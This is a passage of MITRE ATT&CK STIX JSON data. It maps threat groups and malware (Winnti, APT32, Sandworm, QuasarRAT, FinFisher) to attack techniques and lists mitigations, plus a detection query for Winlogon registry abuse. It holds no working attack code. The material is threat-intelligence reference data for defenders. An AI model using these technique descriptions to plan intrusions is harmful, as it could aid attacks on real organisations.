2020)(Citation: Proofpoint TA416 November 2020)(Citation: Proofpoint TA416 Europe March 2022)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bf833c53-a60f-4e92-92b4-9987334e7f85","created":"2022-01-11T16:27:31.778Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Winnti April 2015","description":"Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.","url":"https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:02:53.999Z","description":"[Winnti for Windows](https://attack.mitre.org/software/S0141) can set the timestamps for its worker and service components to match that of cmd.exe.(Citation: Novetta Winnti April 2015)","relationship_type":"uses","source_ref":"malware--d3afa961-a80c-4043-9509-282cdf69ab21","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf8ae26c-c28c-4de7-a3e2-ad1a2851c1c0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-20T23:05:02.527Z","description":"[CallMe](https://attack.mitre.org/software/S0077) uses AES to encrypt C2 traffic.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--cb7bcf6f-085f-41db-81ee-4b68481661b5","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bf8e31ef-d4a6-4501-88c2-47ded1c3ca5c","created":"2024-02-14T21:24:37.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T14:26:36.464Z","description":"Monitor for the execution of processes that may abuse features of Winlogon to execute DLLs and/or executables when a user logs in.\n\nAnalytic 1 - Modification of the Winlogon Registry Key\n\n(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") | where\n (CommandLine LIKE \"%Microsoft\\Windows NT\\CurrentVersion\\Winlogon%\" AND (CommandLine LIKE \"%Userinit%\" OR CommandLine LIKE \"%Shell%\" OR CommandLine LIKE \"%Notify%\"))\n AND\n (CommandLine LIKE \"%reg%\" OR CommandLine LIKE \"%add%\" OR CommandLine LIKE \"%/d%\" OR\n CommandLine LIKE \"%Set-ItemProperty%\" OR CommandLine LIKE \"%New-ItemProperty%\" CommandLine LIKE \"%-value%\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf906149-256b-4c05-971e-843c026a9a43","type":"relationship","created":"2022-03-21T22:15:27.594Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Objective See Green Lambert for OSX Oct 2021","url":"https://objective-see.com/blog/blog_0x68.html","description":"Sandvik, Runa. (2021, October 1). Made In America: Green Lambert for OS X. Retrieved March 21, 2022."},{"source_name":"Glitch-Cat Green Lambert ATTCK Oct 2021","url":"https://www.glitch-cat.com/blog/green-lambert-and-attack","description":"Sandvik, Runa. (2021, October 18). Green Lambert and ATT&CK. Retrieved March 21, 2022."}],"modified":"2022-03-21T22:16:58.695Z","description":"[Green Lambert](https://attack.mitre.org/software/S0690) has created a new executable named `Software Update Check` to appear legitimate.(Citation: Objective See Green Lambert for OSX Oct 2021)(Citation: Glitch-Cat Green Lambert ATTCK Oct 2021) ","relationship_type":"uses","source_ref":"malware--59c8a28c-200c-4565-9af1-cbdb24870ba0","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf9adcbf-3d35-4d70-b681-e7180f3c08da","type":"relationship","created":"2021-05-24T15:06:11.279Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-05-24T15:06:11.279Z","description":"[PS1](https://attack.mitre.org/software/S0613) can use an XOR key to decrypt a PowerShell loader and payload binary.(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"malware--13183cdf-280b-46be-913a-5c6df47831e7","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bf9b3540-c7ab-46bf-b880-b5cabe0d5f79","created":"2022-04-14T16:33:39.899Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Periodically baseline snapshots to identify malicious modifications or additions.","modified":"2022-04-14T16:33:39.899Z","relationship_type":"detects","source_ref":"x-mitre-data-component--8bc66f94-54a9-4be4-bdd1-fe90df643774","target_ref":"attack-pattern--144e007b-e638-431d-a894-45d90c54ab90","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfa11036-022f-49b3-a6bd-7cf2083a264e","type":"relationship","created":"2021-10-12T19:48:13.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT32 May 2017","description":"Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"},{"description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","source_name":"Cybereason Oceanlotus May 2017"}],"modified":"2021-10-12T19:48:13.315Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002) and [Cobalt Strike](https://attack.mitre.org/software/S0154), and a variety of other open-source tools from GitHub.(Citation: FireEye APT32 May 2017)(Citation: Cybereason Oceanlotus May 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bfa1942d-31b1-454f-b1db-be67550f82ee","created":"2024-01-11T20:04:15.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"},{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-19T20:58:16.449Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can enumerate processes on a targeted host.(Citation: Kaspersky ToddyCat June 2022)(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfa47cf5-93e4-451e-a2eb-dadca6ae6bb0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.069Z","description":"[Brave Prince](https://attack.mitre.org/software/S0252) gathers network configuration information as well as the ARP cache.(Citation: McAfee Gold Dragon)","relationship_type":"uses","source_ref":"malware--28b97733-ef07-4414-aaa5-df50b2d30cc5","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bfa683a7-3c94-4de9-966c-2c06cfdf5a78","created":"2024-08-20T18:28:13.118Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mandiant_apt44_unearthing_sandworm","description":"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.","url":"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-03T15:17:37.300Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used multiple publicly available tools during operations, such as Cobalt Strike.(Citation: mandiant_apt44_unearthing_sandworm)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"malware--a7881f21-e978-4fe4-af56-92c9416a2616","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfa95fdc-6f4f-48a9-a155-189c81dc9ebd","type":"relationship","created":"2020-03-02T19:05:18.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-18T17:39:13.417Z","description":"Users can be trained to identify social engineering techniques and spearphishing emails.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfa9ae5f-0e45-4a43-9d37-00c9574a1528","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PaloAlto Patchwork Mar 2018","description":"Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/"}],"modified":"2020-03-17T23:28:24.858Z","description":"[BADNEWS](https://attack.mitre.org/software/S0128) attempts to hide its payloads using legitimate filenames.(Citation: PaloAlto Patchwork Mar 2018)","relationship_type":"uses","source_ref":"malware--e9595678-d269-469e-ae6b-75e49259de63","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bfaa2e3f-fab0-4136-a951-ed1bad30a771","created":"2023-02-10T18:33:21.735Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"HP SVCReady Jun 2022","description":"Schlapfer, Patrick. (2022, June 6). A New Loader Gets Ready. Retrieved December 13, 2022.","url":"https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-12T15:28:33.563Z","description":"[SVCReady](https://attack.mitre.org/software/S1064) has the ability to collect information such as computer name, computer manufacturer, BIOS, operating system, and firmware, including through the use of `systeminfo.exe`.(Citation: HP SVCReady Jun 2022)","relationship_type":"uses","source_ref":"malware--7230ded7-3b1a-4d6e-9735-d0ffd47af9f6","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfab83a2-934e-4e3c-b2c9-626d88231497","type":"relationship","created":"2021-09-21T15:45:10.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-10-07T18:46:08.965Z","description":"[Turian](https://attack.mitre.org/software/S0647) can download additional files and tools from its C2.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfad86a1-f8bb-45eb-b7b9-5919ca4ef886","type":"relationship","created":"2020-05-21T17:14:56.882Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.914Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can use tasklist to gather information about the process running on the infected system.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfb1e467-dffc-463b-9f38-a3fafbb9d036","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2019-03-25T14:12:13.492Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) used Microsoft’s Sysinternals tools to gather detailed information about remote systems.(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfb63eb2-7db6-45d0-83c4-1fc93a8e51c5","type":"relationship","created":"2020-11-25T22:46:47.300Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2020-11-25T22:46:47.300Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has conducted research against potential victim websites as part of its operational planning.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--16cdd21f-da65-4e4f-bc04-dd7d198c7b26","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfb687f5-0c7d-4ac3-a295-26f1b96dc360","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.199Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) collects the victim username along with other account information (account type, description, full name, SID and status).(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bfb6dc5a-786f-47e8-ab9c-848a643df423","created":"2022-09-29T21:29:33.779Z","revoked":false,"external_references":[{"source_name":"DFIR Conti Bazar Nov 2021","description":"DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.","url":"https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-29T21:29:33.779Z","description":"For [C0015](https://attack.mitre.org/campaigns/C0015), the threat actors used [Cobalt Strike](https://attack.mitre.org/software/S0154) and [Conti](https://attack.mitre.org/software/S0575) ransomware.(Citation: DFIR Conti Bazar Nov 2021) ","relationship_type":"uses","source_ref":"campaign--78068e68-4124-4243-b6f4-76e4e5be8a06","target_ref":"attack-pattern--7807d3a4-a885-4639-a786-c1ed41484970","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfb8c372-82f0-4bdb-8083-5fae8b8ef185","type":"relationship","created":"2020-03-16T15:48:34.184Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-20T19:27:46.616Z","description":"SSL/TLS inspection can be used to see the contents of encrypted sessions to look for network-based indicators of malware communication protocols.","relationship_type":"mitigates","source_ref":"course-of-action--7bb5fae9-53ad-4424-866b-f0ea2a8b731d","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bfb99438-5a97-47e1-921f-dbf8863799ed","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft FinFisher March 2018","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/"},{"source_name":"FinFisher Citation","description":"FinFisher. (n.d.). Retrieved September 12, 2024.","url":"https://web.archive.org/web/20171222050934/http://www.finfisher.com/FinFisher/index.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:23:46.696Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) uses DLL side-loading to load malicious programs.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--bfbabaff-1918-4a35-b5ab-8aa981e50027","created":"2022-08-02T15:54:19.075Z","x_mitre_version":"0.1","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can use port 4782 on the compromised host for TCP callbacks.(Citation: CISA AR18-352A Quasar RAT December 2018)","modified":"2022-08-02T15:54:19.075Z","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfbb010f-b4b9-4df9-b591-ef13c14ecafb","type":"relationship","created":"2022-03-30T14:26:51.851Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.851Z","description":"Monitor for newly executed processes that may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bfbde4cb-a8e5-4e55-8700-7d25b17ecad1","created":"2023-03-22T05:50:30.484Z","revoked":false,"external_references":[{"source_name":"Talos Zeus Panda Nov 2017","description":"Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.","url":"https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T05:50:30.484Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) obfuscates the macro commands in its initial payload.(Citation: Talos Zeus Panda Nov 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--bfc3568d-1304-43ce-be97-5fc4209d8a79","created":"2021-01-20T18:08:15.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.428Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used credential stuffing against victim's remote services to obtain valid accounts.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfc4c5dd-a02a-42a0-8838-1e9b45c1dd7e","type":"relationship","created":"2020-07-21T19:02:06.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf","description":"FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.","source_name":"FireEye APT30"}],"modified":"2020-07-21T19:02:06.341Z","description":"[APT30](https://attack.mitre.org/groups/G0013) has relied on users to execute malicious file attachments delivered via spearphishing emails.(Citation: FireEye APT30)","relationship_type":"uses","source_ref":"intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bfc5ca31-5d92-4c51-be33-e610df85055a","type":"relationship","created":"2020-11-16T20:23:05.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-20T18:17:32.046Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can use the Stratum protocol on port 10001 for communication between the cryptojacking bot and the mining server.(Citation: 